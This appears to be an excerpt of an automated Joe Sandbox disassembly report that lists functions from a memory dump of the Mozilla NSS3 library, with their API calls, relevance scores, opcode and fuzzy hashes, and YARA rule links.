PK11_FreeSymKey.NSS3(00000000), ref: 6CB97033
free.MOZGLUE(?), ref: 6CB9703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CB97060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CB97087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CB970AF

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 2090f4db064e7b97fdc94bf2cf2b4cb73b66cf2da4e191110e4a16d472685dd5
Instruction ID: 029b66a7678d27a588245e335888311f2607b35c31899a1b6028b58a9cd50f47
Opcode Fuzzy Hash: 2090f4db064e7b97fdc94bf2cf2b4cb73b66cf2da4e191110e4a16d472685dd5
Instruction Fuzzy Hash: A8A107719042C09BEB408F24DC95B6F32A5DB8330CF248939E929DBA91E775D859C7E3

Function 6CB5AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB3AB95,00000000,?,00000000,00000000,00000000), ref: 6CB5AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CB3AB95,00000000,?,00000000,00000000,00000000), ref: 6CB5AF39
PR_Unlock.NSS3(?,?,?,6CB3AB95,00000000,?,00000000,00000000,00000000), ref: 6CB5AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CB3AB95,00000000,?,00000000,00000000,00000000), ref: 6CB5AF69
TlsGetValue.KERNEL32 ref: 6CB5B06B
EnterCriticalSection.KERNEL32(?), ref: 6CB5B083
PR_Unlock.NSS3(?), ref: 6CB5B0A4
TlsGetValue.KERNEL32 ref: 6CB5B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CB5B0D9
PR_Unlock.NSS3 ref: 6CB5B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB5B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CB5B182

Part of subcall function 6CB8FAB0: free.MOZGLUE(?,-00000001,?,?,6CB2F673,00000000,00000000), ref: 6CB8FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CB5B177

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CB3AB95,00000000,?,00000000,00000000,00000000), ref: 6CB5B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CB3AB95,00000000,?,00000000,00000000,00000000), ref: 6CB5B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CB3AB95,00000000,?,00000000,00000000,00000000), ref: 6CB5B1C2

Part of subcall function 6CB81560: TlsGetValue.KERNEL32(00000000,?,6CB50844,?), ref: 6CB8157A
Part of subcall function 6CB81560: EnterCriticalSection.KERNEL32(?,?,?,6CB50844,?), ref: 6CB8158F
Part of subcall function 6CB81560: PR_Unlock.NSS3(?,?,?,?,6CB50844,?), ref: 6CB815B2

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 7ab0eee67dcc97f20fb703d560e11e492b7d843e37cf1ee4e3bf31c1afc6cb25
Instruction ID: d7605f90c1383f618b248197043ba78abca675179f3ee4b12942325772d14224
Opcode Fuzzy Hash: 7ab0eee67dcc97f20fb703d560e11e492b7d843e37cf1ee4e3bf31c1afc6cb25
Instruction Fuzzy Hash: 39A191B1D00245ABEF019F64DC41BEE7BB4EF09308F544125E909A7752E731E969CBE2

Function 6CBAAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBAADB1

Part of subcall function 6CB8BE30: SECOID_FindOID_Util.NSS3(6CB4311B,00000000,?,6CB4311B,?), ref: 6CB8BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CBAADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CBAAE08

Part of subcall function 6CB8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC618D0,?), ref: 6CB8B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CBAAE25
PL_FreeArenaPool.NSS3 ref: 6CBAAE63
PR_CallOnce.NSS3(6CC92AA4,6CB912D0), ref: 6CBAAE4D

Part of subcall function 6CAB4C70: TlsGetValue.KERNEL32(?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4C97
Part of subcall function 6CAB4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4CB0
Part of subcall function 6CAB4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBAAE93
PR_CallOnce.NSS3(6CC92AA4,6CB912D0), ref: 6CBAAECC
PL_FreeArenaPool.NSS3 ref: 6CBAAEDE
PL_FinishArenaPool.NSS3 ref: 6CBAAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBAAEF5
PL_FinishArenaPool.NSS3 ref: 6CBAAF16

Strings

security, xrefs: 6CBAADEE

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 59ace5b2833a4e9faee53820cda83d092c33e9fe4738c39b5c0ff38a60b4c30b
Instruction ID: e920f2c018c8a21a5553ba75688c7fdfa03d36ce487b37669ad7f4f2840fd69e
Opcode Fuzzy Hash: 59ace5b2833a4e9faee53820cda83d092c33e9fe4738c39b5c0ff38a60b4c30b
Instruction Fuzzy Hash: 85412AB680828067EB215AA4DC44BBF32B8DF4671CF240525E894D6F81FB35954ACEF3

Function 6CB9E8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CB9E853,?,FFFFFFFF,?,?,6CB9B0CC,?,6CB9B4A0,?,00000000), ref: 6CB9E8D9

Part of subcall function 6CB90D30: calloc.MOZGLUE ref: 6CB90D50
Part of subcall function 6CB90D30: TlsGetValue.KERNEL32 ref: 6CB90D6D

Part of subcall function 6CB9C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CB9DAE2,?), ref: 6CB9C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CB9E972
PORT_ArenaMark_Util.NSS3(?), ref: 6CB9E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB9EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CB9EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CB9EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CB9EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CB9EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CB9EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CB9EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CB9EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CB9EBEC
free.MOZGLUE(00000000), ref: 6CB9EC58

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: 1eed6d6d0ac1f67ea6081d833bc5204d1af75431cfd85cf9d2677e9f9de61fa4
Instruction ID: e1685732bfa6c3a19a5c3861db597077753d749c66667cf5ac9c794dcb78777d
Opcode Fuzzy Hash: 1eed6d6d0ac1f67ea6081d833bc5204d1af75431cfd85cf9d2677e9f9de61fa4
Instruction Fuzzy Hash: FDC163B1E052859BEB00CFA5D881BAE77B4FF0A318F140479E95697B51E731E804CBD2

Function 6CB729A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,6CB46A5E,00000001,00000000,?,6CB46540,?,0000000D,00000000), ref: 6CB72A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CB46A5E,00000001,00000000,?,6CB46540,?,0000000D,00000000), ref: 6CB72A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6CB46A5E,00000001,00000000,?,6CB46540,?,0000000D), ref: 6CB72A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB46A5E,00000001), ref: 6CB72AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB46A5E,00000001,00000000), ref: 6CB72ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB46A5E,00000001), ref: 6CB72ADF
PR_Unlock.NSS3(?), ref: 6CB72B38
PR_Unlock.NSS3(?), ref: 6CB72B8B

Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207AD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207CD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207D6
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAB204A), ref: 6CB207E4
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,6CAB204A), ref: 6CB20864
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB20880
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,6CAB204A), ref: 6CB208CB
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208D7
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,6CB46A5E,00000001,00000000,?,6CB46540,?,0000000D,00000000,?), ref: 6CB72CA2

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: 7c6f2c7030f44190e7bd0ec032be24bf09bf6975c0cf1e530e69b6e6d4bcc700
Instruction ID: 665644dd46f66835f31f7dacf0cb91acaa606b12c9ba4f5f255c2f95fbd7a81e
Opcode Fuzzy Hash: 7c6f2c7030f44190e7bd0ec032be24bf09bf6975c0cf1e530e69b6e6d4bcc700
Instruction Fuzzy Hash: AAB1CF71D00645DFDB20DF68D888AAEB7B4FF09308F148529DC65A7B11E731E945CBA2

Function 6CC4AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBF9890: TlsGetValue.KERNEL32(?,?,?,6CBF97EB), ref: 6CBF989E

EnterCriticalSection.KERNEL32(?), ref: 6CC4AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CC4AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CC4AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CC4AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CC4B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CC4B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CC4B070
PR_JoinThread.NSS3(?), ref: 6CC4B07B
free.MOZGLUE(?), ref: 6CC4B084
EnterCriticalSection.KERNEL32(?), ref: 6CC4B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CC4B0C4
PR_JoinThread.NSS3(?), ref: 6CC4B0F3
free.MOZGLUE(?), ref: 6CC4B0FC
PR_JoinThread.NSS3(?), ref: 6CC4B137
free.MOZGLUE(?), ref: 6CC4B140

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 6bcd386b98183c749d80884578ce99054629b11b68e079c04914c21d5624e3f1
Instruction ID: a37943044e305964ba3eef73f8364df509922f0c5aa959f2dcc5d99437898ac6
Opcode Fuzzy Hash: 6bcd386b98183c749d80884578ce99054629b11b68e079c04914c21d5624e3f1
Instruction Fuzzy Hash: 9C914DB5900A01DFCB04DF25C89085ABBF1FF49359729C5A9D8199BB21E732FC4ACB90

Function 6CB48DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CB48E22
EnterCriticalSection.KERNEL32(?), ref: 6CB48E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CB48E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CB48E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB48E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB48EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CB48EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CB48EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CB48F00
free.MOZGLUE(?), ref: 6CB48F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CB48F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CB48F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CB48F5B
PR_Unlock.NSS3(?), ref: 6CB48F72
PR_Unlock.NSS3(?), ref: 6CB48F82

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: 352bb5f32b069cd7e2b2d9e5ce0c2ab0a60ff37f2d777f70ae337c4abc170554
Instruction ID: 118919abb7e6231fe0bad5e7242dec02579f0efa5d539a7d2beac0f207196d69
Opcode Fuzzy Hash: 352bb5f32b069cd7e2b2d9e5ce0c2ab0a60ff37f2d777f70ae337c4abc170554
Instruction Fuzzy Hash: BB51E5B2D04211AFDB009F68CC849AEB7B9EF45358B15C529EC18DB704E732ED4597D1

Function 6CC40FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CC41000

Part of subcall function 6CBF9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CB21A48), ref: 6CBF9BB3
Part of subcall function 6CBF9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB21A48), ref: 6CBF9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CC41016

Part of subcall function 6CBDC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBDC2BF

PR_Unlock.NSS3(?), ref: 6CC41021

Part of subcall function 6CBDDD70: TlsGetValue.KERNEL32 ref: 6CBDDD8C
Part of subcall function 6CBDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBDDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC41046
PR_Unlock.NSS3(?), ref: 6CC4106B
PR_Lock.NSS3 ref: 6CC41079
PR_Unlock.NSS3 ref: 6CC41096
free.MOZGLUE(?), ref: 6CC410A7
free.MOZGLUE(?), ref: 6CC410B4
PR_DestroyCondVar.NSS3(?), ref: 6CC410BF
PR_DestroyCondVar.NSS3(?), ref: 6CC410CA
PR_DestroyCondVar.NSS3(?), ref: 6CC410D5
PR_DestroyCondVar.NSS3(?), ref: 6CC410E0
PR_DestroyLock.NSS3(?), ref: 6CC410EB
free.MOZGLUE(?), ref: 6CC41105

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: f30f4309a983b25442c0f4893b5d26a02a58bd314c022808f33997a964702e2c
Instruction ID: 5bf83169dea7b91833269f863dbd1cbe1b6653bb8778f0692fbf2116aa549920
Opcode Fuzzy Hash: f30f4309a983b25442c0f4893b5d26a02a58bd314c022808f33997a964702e2c
Instruction Fuzzy Hash: 03318AB5D00481ABDB019F29EC42A49BB75FF01359B188230E81942FA1E732F979DFD2

Function 6CB7EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CB7EE0B

Part of subcall function 6CB90BE0: malloc.MOZGLUE(6CB88D2D,?,00000000,?), ref: 6CB90BF8
Part of subcall function 6CB90BE0: TlsGetValue.KERNEL32(6CB88D2D,?,00000000,?), ref: 6CB90C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB7EEE1

Part of subcall function 6CB71D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CB71D7E
Part of subcall function 6CB71D50: EnterCriticalSection.KERNEL32(?), ref: 6CB71D8E
Part of subcall function 6CB71D50: PR_Unlock.NSS3(?), ref: 6CB71DD3

TlsGetValue.KERNEL32 ref: 6CB7EE51
EnterCriticalSection.KERNEL32(?), ref: 6CB7EE65
PR_Unlock.NSS3(?), ref: 6CB7EEA2
free.MOZGLUE(?), ref: 6CB7EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CB7EED0
PR_Unlock.NSS3(?), ref: 6CB7EF48
free.MOZGLUE(?), ref: 6CB7EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CB7EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CB7EFA4
free.MOZGLUE(?), ref: 6CB7EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CB7F055
free.MOZGLUE(?), ref: 6CB7F060

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 066ba763b4bad067a7f2b5ec298f58b129f04254c629ddef9b0dac3d46779c5d
Instruction ID: bf2396fa259daa4b7edfa0b889d7d256ee7b8dcad87bafaaa53c89876cffbf9d
Opcode Fuzzy Hash: 066ba763b4bad067a7f2b5ec298f58b129f04254c629ddef9b0dac3d46779c5d
Instruction Fuzzy Hash: EB816F71A00285AFEF10DF64DC85ADE7BB5FF09318F140424ED29A7A11E731E964CBA2

Function 6CB44CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CB44D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CB44D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CB44DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB44E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CB44E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CB44E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CB44E85
DER_Encode_Util.NSS3(?,?,6CC905A4,00000000), ref: 6CB44EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CB44F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CB44F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB44F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CB44F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB44F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB44FC8

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 4d367491d0a70526d34bf9b61c790908a38a80d50b821092e5d13f16b2038ea6
Instruction ID: 67500f3dd08a7b7d76946272aca739c2bdcade59ed12a5516de9cae7f40327e7
Opcode Fuzzy Hash: 4d367491d0a70526d34bf9b61c790908a38a80d50b821092e5d13f16b2038ea6
Instruction Fuzzy Hash: 6981A071908381AFEB01CF28D840B5BB7E8EB89358F148929F95CDB645E730E915DF92

Function 6CB78F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CB79582), ref: 6CB78F5B

Part of subcall function 6CB8BE30: SECOID_FindOID_Util.NSS3(6CB4311B,00000000,?,6CB4311B,?), ref: 6CB8BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CB78F6A

Part of subcall function 6CB90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB387ED,00000800,6CB2EF74,00000000), ref: 6CB91000
Part of subcall function 6CB90FF0: PR_NewLock.NSS3(?,00000800,6CB2EF74,00000000), ref: 6CB91016
Part of subcall function 6CB90FF0: PL_InitArenaPool.NSS3(00000000,security,6CB387ED,00000008,?,00000800,6CB2EF74,00000000), ref: 6CB9102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB78FC3
